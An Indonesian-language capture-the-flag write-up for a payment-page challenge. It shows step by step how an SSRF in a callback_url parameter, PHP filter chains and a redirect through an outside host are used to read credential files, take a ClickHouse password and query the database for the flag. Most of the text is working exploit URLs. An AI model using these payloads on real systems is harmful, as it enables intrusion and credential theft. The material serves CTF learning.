Tugasnya adalah halaman pembayaran, di mana satu-satunya parameter yang menarik adalah callback_url.

Kami menunjukkan situs Anda dan menangkap permintaan:
http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id=
POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0
Respons HTTP ditampilkan hanya jika situs mengembalikan string alfanumerik. Contoh jawaban:
{"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."}
Kami mencoba sebagai data callback_url :, menguji dan memahami bahwa, kemungkinan besar, ini adalah PHP.
http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id=
Kami menggunakan filter php: // untuk membaca file lokal dan menyandikan respons menggunakan convert.base64-encode sehingga jawabannya cocok dengan alfanumerik. Karena karakter +, / dan =, kadang-kadang perlu untuk menggabungkan beberapa panggilan base64 untuk menampilkan jawaban.
http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php
<?php error_reporting(0); $config = [ 'host' => 'localhost', 'port'
Output respon dibatasi hingga 200 byte, tetapi dari fragmen kita belajar tentang ketersediaan database di localhost. Kami memilah-milah port melalui callback_url dan menemukan artikel baru tentang injeksi di ClickHouse di blog DeteAct , yang sesuai dengan nama tugas aneh "HOUSE OF BECHED".

ClickHouse memiliki antarmuka HTTP yang memungkinkan Anda untuk melakukan permintaan sewenang-wenang, yang sangat nyaman digunakan di SSRF.
Kami membaca dokumentasi, mencoba mendapatkan akun dari konfigurasi.
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
<?xml version="1.0"?> <yandex> <profiles>
Sekali lagi, membatasi keluaran mengganggu, dan menilai dengan file standar, bidang yang diinginkan sangat jauh.

Potong kelebihan menggunakan filter string.strip_tags.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
Tetapi panjang output masih tidak cukup sampai kata sandi diterima. Tambahkan filter kompresi zlib.deflate.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
Dan baca secara lokal dalam urutan terbalik:
print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv'));
Setelah menerima kata sandi, kami dapat mengirim permintaan ClickHouse sebagai berikut:
http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx'
Tapi karena kami awalnya mengirim POST, kami perlu menyiasatinya menggunakan pengalihan. Dan permintaan terakhir ternyata seperti ini (pada tahap ini saya sangat bodoh, karena karena bersarang besar pemrosesan parameter, saya salah mengkodekan karakter khusus dan tidak dapat menjalankan permintaan)
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=
Nah, baru dapatkan datanya dari database:
select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=